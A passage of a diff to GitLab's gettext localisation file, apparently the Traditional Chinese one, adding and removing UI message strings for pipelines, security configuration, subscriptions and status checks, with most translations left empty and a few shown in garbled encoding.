-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr "æµæ°´ç·šè¨ˆåŠƒ"
msgid "Pipeline Schedules"
msgstr "æµæ°´ç·šè¨ˆåŠƒ"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "總計:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr "é è¦½"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr "星期日"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "切æ›åˆ†æ”¯/標籤"
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr "時間追蹤"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "創建第壹個åˆä½µè«‹æ±‚之å‰çš„時間"
@@ -33230,9 +33898,6 @@ msgstr[0] "分é˜"
msgid "Time|s"
msgstr "秒"
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr "上傳文件"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr "使用全局通知設置"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
